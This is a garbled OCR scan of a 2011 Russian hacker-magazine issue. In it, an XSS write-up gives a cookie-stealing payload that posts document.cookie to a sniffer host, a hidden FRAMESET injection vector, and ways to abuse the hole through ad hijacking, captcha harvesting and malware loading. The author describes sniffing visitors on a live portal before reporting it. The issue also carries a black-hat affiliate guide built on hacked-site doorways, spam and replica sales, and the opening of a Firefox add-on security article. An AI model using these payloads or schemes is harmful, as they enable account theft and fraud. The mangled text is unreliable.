-РипсЕіоп п О{ге1:игп пеы Іта§е(); } 
ѵаг Х55_1=п( ) і Х55_2=П ( ) і Х55_3=п( ) , 
зпі-р-р = 'ѵаг х = пем Іта§еР; х.бгс 
= "Ы:1:р://1:ѵоі.5пі-р-Рег.сот/?с="+ 
ѲБсаре(сІоситеп1: . соокіе) 



//Подгружаем пассивную ХББ с других 
порталов как источник "изображения" 
Х55І.5ГС = ' Ыііір : //БІІіеІ .ги/5еагсЬ. 
рІір?Я="><5сгір1:> '+5пі-р-р+Ч/5сгір1:> ' ; 
х55_2.бгс^ ' ІтІ:1:р://5І1:е2. пи/5еагсІі . 
рІір?р="><5сгір1:> '+5ПІ-Р-Р+' </5сгір1:> ' ; 
Х55 3.5ГС = ' ІтЕ-Ер ://5І1:е3.ги/5еагсІі. 
рИрРд^МБсгір^'+Бпі-Нч-Ч/БсгірІ:^ ; 



2. Заменить рекламу на сайте. Делается это до- 
статочно просто: кликаем по любому баннеру 
на ресурсе, смотрим, что это за партнерка, 
регистрируемся там, получаем Эаѵа5сгір*-код, 
а затем инжектим его через Х55 в сііѵ-слой, 
где уже находятся оригинальные баннеры, 
тем самым заменяя их. Например, партнерка 
выдала нам такой код: 

<5сгір~Е 5гс="ІтЬ'Ьр: //раг~Епег . ги/ 

] б . рІір?ісІ=123"></5сгір1:> 

Тогда замена баннеров будет выглядеть 
примерно так: 

міпсісм . оп1оас!=-Рипс1:іоп ( ) 

{ 

сІ ос ите п1:.§е1:Е1етеп1 :В у ІсІ ( ' Ьаппегв ' ) . 

іппегНТМІ. ^Чзсгірі: 5гс="М :1:р : // 
раг1:пеп. ги/з'5.рІір?ісІ=123"></5спір1:> ' ; 

} 

3. Сделать свой бесплатный аналог антикапча- 
сервисов. Такой трюк реализуется с помощью 
комбинации ЭБ + РНР, которая просит поль- 
зователя ввести код с капчи для отправки 
комментария. Схема очень проста: подгружа- 
ем с нашего хоста Э5-файл, генерируемый на 
основе еще не разгаданных капч, Э5-скрипт 



показывает картинку с символами для ввода, 
а также подменяетатрибутасЦоп у формы 
отправки комментария и вставляет иденти- 
фикатор капчи. После сабмита все данные 
(текст, комментарий и идентификатор капчи) 
приходят к нам благодаря подставному 
асЦоп-атрибуту. По идентификатору мы на- 
ходим конкретную картинку и соотносим с ней 
разгаданный текст (например, в базе). 

4. Реализовать переход на страницу какого- 
либо платника с помощью окон рор-ипбег и 
рор-ир. Для этого достаточно просто вставить 
в кодтег<зсгірІ>, который выдаст партнерка. 

5. Накрутить посещения через динамически 
встроенный і^гате. Вставка реализуется по- 
добно тому, как описано ранее. 

6. Заменить демотиватор на какую-либо рекла- 
му с помощью пары строк кода на ЭаѵаБсгірІ:: 

сіоситепі: . §е1:Е1етеп1:ВуІсІ( ' ісІ_сІета ' ) . 
б гс = , Іі1:1;р:^//Іі05І;.ги/росІтепа.зР§ , і 

7. Прогрузить малварь: инжектировать і^гате в 
тело страницы и загрузить соответствующий 
лоадер (подробнее об а йф рей мах читай в 
ноябрьском номережурнала). 

8. Объединить все перечисленные варианты в 
один Э5-файл. 



Ваш комментарий 



Добавить комментарий 



Комментировать могут только зарегистрированные авторы 
Важное поле 

Проверив все еще раз, я начал копать глубже. Самое интерес- 
ное заключалось в том, что после ввода вышеозначенного тега 
самописный фильтр начал кое-что пропускать. Более странного 
ХББ-фильтра, честно признаться, я никогда не встречал. В ре- 
зультате выяснилось, что <Ю0СТѴРЕ> просто-напросто влияет на 
прохождение атрибутов, соответственно, мне оставалось только 
найти тег, который можно было бы использовать для раскрутки 
уязвимости. В конце концов методом подбора я нашел тег, который 
не фильтровался. Это был великий и могучий <РРАМЕ5ЕТ>. Сырой 
вектор атаки выглядел вот так: 

< ! РОСТУРЕхРКАМЕБЕТ опІ.оасІ="{х55}" ></РКАМЕ5ЕТ> 

Но сырое мясо кушать вредно, поэтому я решил подшлифовать 
вектор так, чтобы он был незаметным. Такая задача решается с 
помощью стилей: 

< ! РОСТѴРЕхРКАМЕБЕТ опІ_оасІ="{х55}" 

5І:у1е="сІІ5р1ау : попе; "х/РКАМЕ5ЕТ> 



Здесь {хбб} — это любой )аѵазсгірІ-код на твой вкус. У меня 
все отлично работало, сам комментарий не выдавал факт исполь- 
зования уязвимости. Было только одно но. Лента комментариев 
потихоньку наполнялась, а значит, вектор перемещался на другую 
страницу. Это убивало его, так как контент подгружался через 
АЭАХ. Поэтому, проанализировав исходник страницы, я решил 
просто-напросто заблокировать кнопку отправки комментариев 
с помощью РІТМІ_ + ЭБ. Кнопка выглядела кликабельной, но после 
нажатия комментарий никуда не отправлялся. Благодаря этому 
вектор просуществовал довольно долго. 

ТНЕ ЕШ 

Вот таким вот интересным способом на достаточно крупном россий- 
ском портале была найдена серьезная уязвимость. С помощью нее 
можно было бы натворить много нехороших дел, от прогрузки троя- 
нов и до кражи пользовательских аккаунтов (кукисы также вполне 
успешно приходили на мой снифер). Поскольку я придерживаюсь 
принципа «дружественных взломов», в мои планы не входило ис- 
пользование обнаруженной ХББ для причинения какого-либо вреда. 
Единственное, что меня заинтересовало, — это количество трафика, 
проходящего через сІетоІіѵаІогБ.ги. Я повесил специально сформи- 
рованный код со снифером на один из постеров главной страницы и 
начал отслеживать непрерывный поток посетителей. Моим глазам 
предстала довольно радужная картина: примерно через две минуты 
я увидел цифру в 500 с небольшим уникальных пользователей. 
Проанализировав примерное количество трафика за 12 часов (180 
тысяч уников), я посчитал эту уязвимость критической и решил на- 
писать в техподдержку сайта. Когда с момента обнаружения дырки 
прошел почти месяц, администрация наконец соизволила залатать 
ее. Желаю им успехов в продвижении и развитии своего проекта! ПЕ 
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взлом 



РВМХ 




пахнут 



ОБЗОР ПОПУЛЯРНЫХ 
ПАРТНЕРСКИХ 
ПРОГРАММ И МЕТОДОВ 
РАБОТЫ С НИМИ 



Фармацевтические препараты, 
сайты для взрослых, онлайн- 
казино, знакомства — на всем 
этом можно неплохо заработать! 
Мы собрали самые интересные 
и прибыльные способы, позво- 
ляющие поднять кэш в интерне- 
те с помощью американского и 
европейского трафика. 



ІѴІѴІѴІ 

• ѵѵѵѵѵѵ.тааіег-х.сот 

— популярный 
ресурс по теме 
адалта. 

• ѵѵѵѵѵѵ.доГискЬіг.сот 

— «форум успешных 
веб-мастеров». 

• ѵѵѵѵѵѵ.гхрЫод.сот 

— популярный 
фарма-блог. 



Американский и европейский сегмент Сети (так называемый буржуй- 
нет) — это огромное поле для заработка, и денег на нем хватит на всех. 
Главное — рассчитать свои силы и выбрать ту область работы с буржуй- 
ским трафиком, которая подходит именно тебе. Далее я опишу разные 
по сложности и затратности ниши. Если ты уверен в своих силах, 
выбирай самую прибыльную. Если сомневаешься, лучше присмотрись к 
самым простым. Заняться чем-то более сложным ты всегда успеешь, а 
вот неудачно вложенные средства вряд ли удастся вернуть. Также хочу 
отметить, что в этом материале я не стремился описать абсолютно все 
способы заработка, а выбрал лишь наиболее популярные, долгоиграю- 
щие и доходные. Об остальных нишах ты легко сможешь узнать, если 
пройдешь по ссылкам, указанным в сносках, а также воспользуешься 
великим и могучим Гуглом. 



ЗА РАМКАМИ СТАТЬИ: ДРУГИЕ ТИПЫ ПАРТНЕРСКИХ ПРОГРАММ 



Контролы 

В дополнение к фарм-партнеркам 
нельзя не упомянуть и о существо- 
вании приватных партнерских 
программ, где продаются «кон- 
тролы» — препараты, приравнен- 
ные к наркотикам. Но мы не будем 
портить себекармуи работать с 
ними. 



ОЕМ 

Сутьработы вэтом сегментезаклю- 
чается в продаже лицензионного 
софта, который обычно поставля- 
ется в комплекте с компьютерами. 
Такие лицензии пользуются боль- 
шим спросом, так как продаются 
по куда более низкой цене, чем для 
конечного потребителя. 



Дейтин г (знакомства) 

Сегмент очень тесно связан с 
адалтом.Такойтрафик, какправило, 
монетизируется на платникахпо 
поиску партнеров для секса, поэтому 
веб-мастер получаетдоходза реги- 
страцию пользователя на платнике 
или процентотсуммы, потраченной 
этим же пользователем на дополни- 
тельные сервисы. 



СРА (оплата за действие) 

Как видно из названия, веб-мастер 
получаетденьги в результате 
определенного действия, совершае- 
мого посетителем на партнерском 
сайте, например после регистрации, 
заполнения анкеты или подписки на 
бесплатнуюуслугу. 
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Деньги не пахнут 



і ФАРМА 



Прибыльность: ••••• 

Легкость в освоении: ••••• 

Затратность: ••••• 



Суть работы в этой нише заключается в продаже 
дженериков (депегісз, незапатентованные лекарственные 
препараты, которые представляют собой аналоги 
оригинальных брендовых таблеток] через интернет. 
Дженерики пользуются огромным спросом у жителей США, 
Канады и Западной Европы, так как эти медицинские 
препараты продаются без рецепта, стоят существенно 
дешевле, чем оригинальные, и практически ничем от них 
не отличаются. 

Задача веб-мастера — привести посетителя, который 
сделает покупку в партнерском шопе, и получить свои 
честно заработанные 30-50% от стоимости лекарства. 



МЕТОДЫ ДОБЫЧИ ТРАФИКА 




Аптеки, шопы 

Партнерка предоставляет веб-мастеру движок 
шопа. Веб-мастер, в свою очередь, «уникализи- 
рует» контент и оптимизирует свою аптеку под 
нужные поисковые запросы. Далее при помощи 
мощной ссылочной базы (спам, ссылки со взло- 
манных сайтов, покупные ссылки с бирж) веб- 
мастер продвигает свой шоп на верхние позиции в 
поисковых системах. Этот способ требует больших 
трудозатрат и серьезных капиталовложений. 

Взлом, дорвеи 

В качестве донора используется взломанный 
трастовый сайт. Дорвей заливается в одну из 
директорий сайта. Также можно использовать 



клоакинг с редиректом на партнерскую аптеку 
(подробнее о технологиях клоакинга читай в 
сентябрьском номере журнала). Этот способ 
позволяет быстро заполучить заветных по- 
сетителей. Если ты не умеешь ломать сайты 
самостоятельно, он также станет для тебя 
довольно дорогостоящим. 

Фарма-блоги 

Это обычный медицинский блог или дневник 
пенсионера, описывающего свои проблемы 
с потенцией и ненавязчиво рекламирующего 
продукцию, которая ему помогла :). Такие блоги 
обычно продвигаются по низкочастотным запро- 
сам, что не требует больших финансовых затрат. 



Профили 

Существует множество сервисов, позволяю- 
щих сделать свой профиль или создать блог. 
Веб-мастера размещают на таких сервисах 
свои дорвеи. Обычно они содержат красочную 
картинку, которая предлагает перейти на сайт 
партнерской аптеки, и текст, составленный из 
соответствующих ключевых слов. Такой дорвей 
проспамливают, и если ресурс подобран пра- 
вильно, то уже примерно через неделю можно 
радоваться первым посетителям. Это самый 
простой способ получения фарма-трафика из 
описанных в статье. Однако с некоторых пор 
Гугл жестко фильтрует подобные страницы с по- 
мощью своего нового алгоритма «Панда». 



СРАВНЕНИЕ ПАРТНЕРОК 





РНагтсазН.сот 


РХ-Раг*пегз.ЬІ 2 


ЗОтиІ-СазИ.сопп 


ОХОпеіѵѵогк.сот 


Начало работы 


2010 год 


2006 год 


2006 год 


2007 год 


Рейт/комиссия веб-мастера: 


40% от суммы заказа, 
при достижении отметки 
в 100 продаж — 45%, 
в 300 продаж — 50% 


30-50% (зависит 
отустановленной 
наценки) 


75% от наценки 
на продукцию 


до 70% от наценки 
на продукцию 


Языки шаблонов аптек 


английский, немецкий, 
итальянский, испанский, 
французский 


английский, итальянский, 
испанский, французский, 
португальский 


английский, итальянский, 
испанский, французский, 
португальский 


англ., фр., нем., исп., итал., 
яп., кор., порт., норв. 


Виды процессинга 


Ѵіза, МазІегСагсІ, 
АСН, ѴѴіге 


Ѵіза, МазІегСагсІ, АСН, 
ѴѴіге, МопеуСгат 


Ѵіза, МавІегСагсІ, АСН, 
ѴѴіге, МопеуСгат 


Ѵіза, ЕигойеЬіС АСН, ѴѴіге 


Минимальная выплата 


$100 


$100 


$50 


$100 


Холд/задержка выплат 


одна неделя 


две недели, для постоянных 
адвертов — одна неделя 


одна неделя 


одна неделя 


Тип регистрации 


свободная 


по инвайтам 


свободная 


свободная 


Преимущества 


высокий рейт, периоди- 
чески проходит акция 
«Форсаж» (увеличение 
комиссии в два раза] 


гибкий движок аптек с 
мануалами на русском 
языке, постоянно проходят 
конкурсы с хорошими 


постоянно проходят 
конкурсы и вечеринки для 
адвертов 


мультиязычность аптек 
(10 языков), индивидуаль- 
ный дизайн для активных 
адвертов 



призами и классные 
вечеринки 
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взлом 




АЛТ 



Адалт — это самый старый способ заработка 
в Сети. Его суть заключается в продаже под- 
писок на сайты с «взрослым» медиаконтентом. 
Золотым веком адалта принято считать первую 
пятилетку двухтысячных. Сейчас, с появлени- 
ем таких видеосервисов, как хЬаіті5{ег.сопп и 
ему подобных, адалт переживает не лучшие 
времена. Люди уже не так легко расстаются 
с деньгами, как раньше. Зачем отдавать свои 
кровные, если можно воспользоваться бес- 
платным контентом на халявных видеосерви- 
сах? Однако не стоит совсем сбрасывать этот 
сегмент со счетов, так как в нем по-прежнему 
можно заработать неплохие деньги. Не нужно 
лезть в мейнстрим, выбирай более узкую нишу, 
и конверт будет на высоте. Средняя стоимость 
подписки составляет $30. В зависимости от 
партнерской программы комиссия веб-мастера 
достигает 40-60%. Подписки нередко прод- 
левают, что также очень выгодно. Некоторые 
партнерские программы предлагают веб- 
мастеру не процент с подписки, а единовре- 
менную плату за приведенного клиента. При 
этом ты не получаешь комиссию с повторных 
подписок (ребиллов), зато изначально тебе 
платят примерно в два раза больше. 



МЕТОДЫ ДОБЫЧИ ТРАФИКА 



Дорвеи на фрихостингах 

Дорвеи — это автоматически генерируемые 
странички, находящиеся на фрихостингах и 
заточенные под низкочастотные запросы в 
поисковых системах. В большинстве случаев 
пользователи переходят на платник по кра- 
сочному баннеру, а иногда перенаправляются 
редиректом. Сейчас также популярны так 
называемые ДДЛ (дорвеи для людей), которые 
неопытному пользователю трудно распознать 
с первого взгляда. Для продвижения дорвеев 




обычно используется спам по форумам, блогам 
и гостевым или собственные ресурсы (трам- 
плины). Процесс создания трамплинов хорошо 
описан в прошлом номере нашего журнала в 
статье «Сплоти на ѴѴогсІРгезз от А до Я». 

Сиджи 

Сидж — это сайт в виде фотогалереи. После 
нажатия на порнокартинку пользователь пере- 
ходит на РЗН (страничка с бесплатным кон- 
тентом, которая предоставляется партнерской 



программой). Для того чтобы увидеть больше, 
пользователь должен перейти с РЗН на сам 
платник и купить подписку. Чтобы воспользо- 
ваться этим методом, веб-мастеру придется 
потратиться на хороший дизайн и, разумеется, 
на продвижение сиджа, то есть понести срав- 
нительно небольшие расходы. 

Профили 

Принцип создания ничем не отличается от 
описанного в разделе о фарме. 



СРАВНЕНИЕ ПАРТНЕРОК 





РоѵаІ-СаэЬ.сот 


ЕагпСоіп.сот 


Аераг*пег5Ыр.сот 


РеггоСаБЬ.сот 


СаБЬМапіасз.сот 


Начало работы 


2001 год 


2003 год 


2003 год 


1999 год 


2003 год 


Рейт/комиссия веб-мастера 


50-60% или $30-40 
с каждого клиента 


50% 


50% 


50% 


50% 


Количество платников 


44 


23 


173 


58 


128 


Методоплаты веб-мастерам 


сЬеск, ѵѵіге, Рауопеег, 
АСН, ѴѴеЬМопеу, 
Рахит, еСоіп 


сЬеск, ѵѵіге, 
ѴѴеЬМопеу, Рахит, 
еСоіп, еРезе 


ѵѵіге, Рауопеег, 
ѴѴеЬМопеу, Рахит, 
еСоіп 


Рахит, 

еРауЗегѵісе 


сЬеск, ѵѵіге, 
ѴѴеЬМопеу, Рахит, 
еРауЗегѵісе 


Минимальная выплата 


— 


$100 


$100 


$300 


$50 


Холд/задержка выплат 


— 


три ДНЯ 


три ДНЯ 


одна неделя 


две недели 
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Деньги не пахнут 




РРС (РАѴ РЕК СЫСК) 



Прибыльность: ••••< 

Легкость в освоении: •••< 

Затратность: 



Суть заработка в этом сегменте кроется в самом названии. Рау рег 
сііск — это банальная оплата за клик. РРС-партнерка представ- 
ляет собой в некотором роде биржу трафика, продажей которого и 
занимается веб-мастер. Всем таким продавцам выдается так на- 
зываемый фид (блок с рекламными объявлениями), который уста- 
навливается на сайт, сплог или дорвей. Конечный пользователь 
видит релевантное поисковому запросу объявление, заточенное 
под страницу твоего ресурса. Кликнув на объявление, пользова- 
тель перейдет на сайт рекламодателя, тебе при этом зачислится 
определенная сумма. Стоимость клика (Ьіб) зависит оттого, под 
какой поисковый запрос (кей) сделана данная страница. Напри- 
мер, поисковый запрос, связанный со страхованием, ценится куда 
больше, чем адалт-запросы. В каждой РРС-партнерке указыва- 
ется стоимость клика для любого кея. Еще одним немаловажным 
фактором, определяющим Ьіб, является качество трафика. Главное 
преимущество данного сегмента заключается в том, что в нем от- 
сутствует привязка к определенному направлению, а это даеттебе 
гораздо больше возможностей для заработка. 




МЕТОДЫ ДОБЫЧИ ТРАФИКА 



Сплоги 

Сплоги можно не только исполь- 
зовать как трамплины, но еще и 
монетизировать при помощи РРС. 
Как и в случае с сайтом, вешай на 
сплог фид и получай профит. 

Сайты 

Тут все просто: настраиваешь ин- 
терфейс фида под дизайн своего 
сайта и вешаешь на все видимые 
места. Для улучшения кликабель- 
ности лучше использовать те 
зоны ресурса, где располагается 
навигационное меню. 



Дорвей на фрихостингах 

Все то же самое, как и в случае 
с дорвеями под адалт, однако в 
данном случае перенаправление 
осуществляется при помощи 
фида или редиректа на паблик- 
фид (страница с объявления- 
ми, имеющая заточенный под 
определенную тематику дизайн). 

Профили 

Так же как и в случае с дорами, 
делаем перенаправление при по- 
мощи фида. Все остальное — по 
аналогии с профилями под фарму. 



СРАВНЕНИЕ ПАРТНЕРОК 






Вібіта^іс.сот 


СІіск9.сот 


Реаксііск.сот 


Оаосііск.сот 


ТЬеагеепррс.сот 


Вііісііск.сот 


Начало работы 


2004 год 


2008 год 


2005 год 


2009 год 


2009 год 


2009 год 


Рейт/комиссия веб-мастера 


70-95% 


70% 


70% 


80% 


80% 


75% 


Минимальная выплата 


$40 


$50 


$100 


$50 


$50 


$10 


Методоплаты веб-мастерам 


еРаззрогІе, 

РауРаІ, 

ЗіогтРау, 

ЕРЕ5Е, 


Ерезе, 

ѴѴеЬтопеу, 

ѴѴіге 


ѴѴіге, 

еРаззрогІе, 
ѴѴезІегп ІІпіоп, 
ѴѴеЬМопеу 


ѴѴеЬтопеу, 
еРаззрогІе, 
ЕРЕЗЕ, 
РауРаІ, ѴѴіге 


ѴѴеЬтопеу, ѴѴіге, 
РауРаІ 


еРаззрогІе, РауРаІ, 
ЗіогтРау, ЕРЕ5Е, 
Ѵіза, МазІегСагб, 
ѴѴезІегп ІІпіоп, 



ѴѴеЬМопеу РауРаІ, ѴѴіге, ЬіЬегІу 

Резегѵе, ѴѴеЬМопеу 
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4 ГЭМБЛИНГ 



Прибыльность: 
Легкость в освоении: 
Затратность: 



• •••• 
• •••• 
• •••• 



Суть работы в этом сегменте также кроется в 
названии. Гэмблинг в переводе с английского 
означает «азартная игра». Партнерские про- 
граммы предлагают широкий выбор игр: ру- 
летка, покер, ставки на спорт и другие. Самой 
большой популярностью пользуется, конечно 
же, покер. Множество историй о легких день- 
гах, связанных с этой игрой, делает свое дело. 
Твоя задача, как обычно, сводится к тому, 
чтобы привести платежеспособного клиента и 
получить свою долю. Обычно партнерские про- 
граммы платят процент от прибыли (20-45%) 
или фиксированную сумму за клиента. 



МЕТОДЫ ДОБЫЧИ ТРАФИКА 



Сайты 

Трафик привлекается через сайт под 
определенную игру (покер, рулетку, 
блэкджек и т. д.). Можно также создать 
информационный ресурс для публикации 
новостей и обзоров онлайн-казино, советов 
начинающим, описаний игровой стратегии 
и т. д. Если у тебя есть сайты развлека- 
тельной тематики, на них можно вывесить 
промо-материалы. Это самый затратный и 
длительный способ. 



Блоги 

Создаешь и продвигаешь блог, где опи- 
сываешь свою стратегию игры и то, как 
ты чудесно на ней зарабатываешь. Или 
делаешь блог, посвященный заработку в 
интернете, а затем с помощью этого блога 
приводишь на партнерку желающих быстро 
обогатиться. 

Дорвеи на фрихостингах и профили 

Все также, как и в других описанных нишах. 




СРАВНЕНИЕ 

ПАРТНЕРОК 








ШЫіаІез.сот 


АНасЬѵе.сот 


РиІШІТрокепсопп 


АНСІиЬ.сот 


Рокег5*аг5раг*пег5.сот 


Начало работы 


2008 год 


2009 год 


2004 год 


2007 год 


2007 год 


Рейт/комиссия веб-мастера 


25-40% 
от прибыли 


30-45% 
от прибыли 


20-35% от прибыли или 
$70-225 за клиента 


25-40% от прибыли 
или $50-150 за клиента 


20-30% от прибыли или 
$75-150 за клиента 


Направления 


онлайн-казино, 
покер, ставки 
на спорт 


онлайн-казино 


покер 


онлайн-казино, покер 


покер 


Методоплаты веб-мастерам 


МопеуВоокегз, 
ІЧеІеІІег, ѴѴіге, 
СЬеск 


МопеуВоокегз, 

ЫеІеІІег, 

ѴѴіге, СЬеск, 
ѴѴеЬтопеу 


ІМеІеІІег, Ѵіза, 
МазІегСагсІ, Маезіго, 
ЕпІгоРау, РаузаіюсагсІ, 
ѴѴеЬтопеу 


СІіск2Рау, СІіскапсіВиу, 
ЕпІгоРау, Маезіго, 
МопеуВоокегз, ІМеІеІІег, 
5оІо, Ѵіза ОеІІа, Ѵіза 
Еіесігоп, ѴѴеЬМопеу, ѴѴіге 


Іпзіапі еСЬескз, 
МопеуЬоокегз, 
СІіскапсіВиу, Ѵіза, 
ІМеІеІІег, ѴѴіге, СЬеск, 
ѴѴеЬМопеу, ЕпІгоРау 



072 



ХАКЕР 12/155/2011 




Деньги не пахнут 



5 ПРОДАЖА ТОВАРОВ 



Прибыльность: 
Легкость в освоении: 
Затратность: 



• •••• 
• •••• 
• •••• 



МЕТОДЫ ДОБЫЧИ ТРАФИКА 



Работа в этом сегменте заключается в про- 
даже широкого спектра товаров, от одежды 
до бытовой техники. О роли веб-мастера в 
этом деле ты, конечно же, догадался. Как 
обычно, ты должен привести покупателя в 
партнерский шоп. Твой интерес — комиссия в 
виде процента от стоимости заказа. Процент 
зависит оттого, какие товары ты продаешь. 
Если торгуешь копиями известных брендов 
(так называемыми репликами), то процент 
отчислений в разы выше, чем от продажи 
оригинальных товаров. 



Шопы 

Обычно партнерские программы предостав- 
ляют специальные скрипты для создания 
полноценного интернет-магазина. Тебе, как и 
в случае с аптекой, необходимо хорошенько 
«уникализировать» свой магазин: порабо- 
тать с текстом и мета-тегами. Продвигать 
товарный шоп в поисковиках в разы легче и 
дешевле, чем аптеку, но вложиться в хоро- 
шую ссылочную массу все равно придется. 



Сплоги 

Делаем автонаполняемые блоги, используя в 
качестве контента ХМІ_ с описаниями товаров, 
предоставляемыми партнерской программой. 
Хорошенько проспамливаем приготовленные 
сплоги и через некоторое время ловим трафик. 

Дорвеи на фрихостингах и профили 

Эти методы работают так же, как и в других 
нишах. 




Начало работы 



Товары 



сумки и обувь извест- 
ных брендов (копии) 



сумки и обувь известных 
брендов (копии) 



от книг до бытовой техники 



часы (копии) 



Рейт/комиссия веб-мастера 



25 - 35 % 



25 % 



25 % 



Методоплаты веб-мастерам 



ѴѴеЬтопеу, Еразз, 
РауРаІ, ѴѴіге 



ѴѴеЬтопеу, Еразз, РауРаІ, 
ѴѴіге, еРезее, МопеуЬоокегз 



СЬеск 



ѴѴеЬтопеу, ѴѴіге 



Минимальная выплата 



Холд/задержка выплат 



одна неделя 



одна неделя 



один месяц 



две недели 



Тип регистрации 



по инваитам 



свободная 



свободная 



по инваитам 



п.сот КіпазРгоЬЕсот 



ЗЬтиІ-СазЬ.сот 



СРАВНЕНИЕ 

ПАРТНЕРОК 



біаѵіюгд.сот 
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Тарас охсіе* Иващенко (охсМ.ігФо) 



АТАКИ НА ПОЛЬЗОВАТЕЛЯ 
ЧЕРЕЗ АДДОНЫ БРАУЗЕРА 



Безопасность 




сш 



• Советы по 
обеспечению 
безопасности 
расширений от 
МогіІІа: 



• Презентация об 
атаках на аддоны 
Ріге^охс йекоп 17: 



ЬіІ.Іѵ/и7ВѴс5. 



• Процесс проверки 

расширений, 

выполняемой 





Позволяет ли уязвимость в расширении 
браузера выполять произвольный код на всех 
компьютерах, где оно установлено? Позволя- 
ет, если этот браузер — Рігебох. Архитектура 
аддонов Огнелиса предоставляет практически 
неограниченные возможности по прокачке 
функционала браузера, но это несет в себе 
большую опасность. 



ОЧЕРЕДЬ РІРЕЕОХ 



Мы уже писали о безопасности расширений СЬготе (#06/1 1) и Орега 
(#06/1 1 ). Сегодня мы завершаем изучать потенциальные уязвимости 
в подключаемых аддонах. Наконец мы дошли и до веб-браузера, 
популярность которого во многом обусловлена концепцией «про- 
стого и безопасного веб-обозревателя с огромным количеством 
расширений на любой вкус». Если сравнивать с Орега и Ооодіе 
СЬготе, то расширения в РР, безусловно, имеют самые мощные 
возможности. Разработчики классических расширений практически 
ничем не ограничены и могут изменить браузер до неузнаваемости. 
Из достаточно аскетичного исходного веб-браузера пользователь 
может слепить мощный веб-комбайн или «швейцарский нож» для 
проверки безопасности веб-приложений. На ум приходит последнее 
«нашумевшее» расширение под названием РігезЬеер ( сосІеЬиІІег. 
діИиіЬ.сотЛігезЬеер ). которое при подключении к открытым ѴѴі-Рі- 
сетям позволяло прямо в браузере легко перехватывать сессионные 
данные популярных социальных сетей и тут же использовать эту 
информацию для входа в чужие учетные записи. Прежде чем при- 
ступать к рассказу о безопасности расширений и их слабых местах, 
нужно хотя бы в общих чертах рассмотреть архитектуру аддонов. 
Этим мы и займемся. 



АРХИТЕКТУРА 



Расширения для МогіІІа РігеЬх и, кстати, для других продуктов МогіІІа 
(ТЬипсІегЬігсІ, ЗеаМопкеу и т. д.) используют совокупность технологий, 
в которую входят: 

• ХРІ (читается как«зиппи») — технология создания кросс- 
платформенных пакетов приложений. 

• ЭаѵаЗсгірІ — Э5, итутбез него не обошлось! 

• ХІІІ_ (ХМІ_ ІІзегІпІеЛасе І_апдиаде) — ХМІ_ в качестве языка для по- 
строения интерфейсов приложения. 

• йОМ (Оосштепі ОЬіесІ; МобеІ) — она же «дом», всем известная объ- 
ектная модельдокумента. 

• С55 (Сазсасііпд 5іуІе ЗЬееІз) — С55-стили для наведения лоска. 

• ХРСОМ/ХРСоппесІ — мощная межплатформенная прослойка. 

Начнём, наверное, с самого простого, то есть с формата распро- 
странения. Расширения распространяются в виде ХРІ-пакетов. Такой 
пакет представляет собой не что иное, как 21 Р-архив с манифестом 
установки іпзІаІІ.гсЛ и самими файлами расширения — соответствую- 
щая технология носит название ХРІпзІаІІ. Структура неархивирован- 
ного простого расширения может выглядеть так: 



сііпоте 
сопТепТ 

Ь ЬгомзегОѵегІау . дз 
ЬгомзегОѵегІау . хиі 

Іосаіе 

1 еп-115 

Ь ЬгомзегОѵегІау.сІТсІ 

ЬпоызепОѵепІау . рпорепТіез 

зкіп 

1 ЬгомзегОѵегІау . сзз 

сбпоте.тапі-Рез'І: 
іпзТаІІ. псІТ 
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Безопасность расширений Рігеіюх 



ІпзЕаІІ.гсК и есть тот самый манифест установки (формат РБР/ХМЦ 
который необходим для установки расширения. Он дает нам общую 
информацию: название, описание, адрес домашней страницы, имя 
автора, данные о совместимости (для какого приложения и версии 
предназначен аддон) и т. п. С точки зрения безопасности нас больше 
всего интересуют поля ирсІаІеІІРІ- и ирбаІеКеу, но о них чуть позже. 
Пример іпзЕаІІ.гсК: 

<?хт! ѵег5іоп="і.Ѳ"?> 

<КРГ хт1п5= 

хтІпБ : ет= > 

<Ре5сгір1:іоп аЬои~Е= > 

<ет: ісІ>Ііе11оыог1сІ(а)охсІе-Р. іп-Ро</ет: ісІ> 

<ет:пате>Не1Іо Ыог1с1</ет:пате> 

<ет:сІе5сгір1:іоп>Не11о могісі ! </ет:сІе5спір1:іоп> 

<ет: ѵег5Іоп> </ет: ѵег5Іоп> 

<ет: сгеа1:ог>ОхсІе-Р</ет: сгеа~Еог> 

<ет: Ііотера%еЦКІ>Іі1:1:р: //охгіе^. іп-Ро</ет: Еютера%еІІКІ.> 

<ет: ирсІаЧтеЦКІ >И1=1=р5 : //охсіе-р. ігѵРо/ирсІа1=е 

</ет: ирс!а1:еІЖІ.> 

<ет:1:уре> </ет:1:уре> 

<ет:~Еаг§е1:Арр1іса1:іоп>< ! -- Могіііа Ріге-Рох --> 

<Ре5сгір1:іоп> 

<ет: ісІ>{ес8030-Р7-с20а- -9Ь0е-13аЗа9е97384> 

</ет: ісІ> 

<ет:тіпѴег5Іоп> </ет:тіпѴег5Іоп> 

<ет:тахѴег5Іоп> . *</ет:тахѴег5Іоп> 

</Р е5С гір1:іоп > 

</ет:~Еаг^е1:Арр1іса1:іоп> 

</Ре5сгір1:іоп> 

</КРГ> 

Весь интерфейс МогіІІа Рігеі'ох и его расширений строится с 
использованием ХМІ_-образного языка разметки ХШ_ (читается как 
«зул»), который, если проводить аналогию с анатомией, представ- 
ляет в некотором роде скелет расширения. Мускульным каркасом 
служит пресловутый ЭаѵаЭсгірІ, который мало кто знает на глу- 
боком уровне. Но самой интересной и мощной составляющей рас- 
ширения является мозг аддона. Это ХРСОМ (англ. Сгозз РІаІІюгт 
Сотропепі 0Ь)ес1 МобеІ) — кроссплатформенная объектная 
модель компонентов. В переводе звучит, конечно, коряво, но я по- 
пробую объяснить проще. Программистам предлагаются биндинги 
для множества языков, в том числе для ЭаѵаВсгірІ, Эаѵа, РуіЬоп, 
ну и конечно для С++. На этих языках ты можешь написать свою 
ХРСОМ-компоненту. При использовании технологии ХРСоппесІ ты 
получаешь мощные компоненты и классы, например для работы с 
локальной файловой системой и сетью (что, безусловно, повышает 
угрозу безопасности, создаваемую уязвимостями в расширениях). 
Большое количество таких компонентов включено в ядро Веско. 
Они доступны для расширений по умолчанию. Но если и среди них 
ты не найдешь того, что тебе нужно, то никто не мешает самостоя- 
тельно написать ХРСОМ-компонент для расширения. 

Расширения в большинстве случаев изменяют внешний интер- 
фейс браузера и его поведение с помощью так называемых перекры- 
тий существующих частей интерфейса (добавлений). Эти перекрытия 
в виде соответствующих ХІІІ_-файлов наравне с субпакетами локали- 
зации и скинами входят в содержимое расширения (каталог сопіепі). 
Приведу для примера фрагмент ХШ-кода расширения с ЭаѵаЗсгірІ- 
биндингами: 
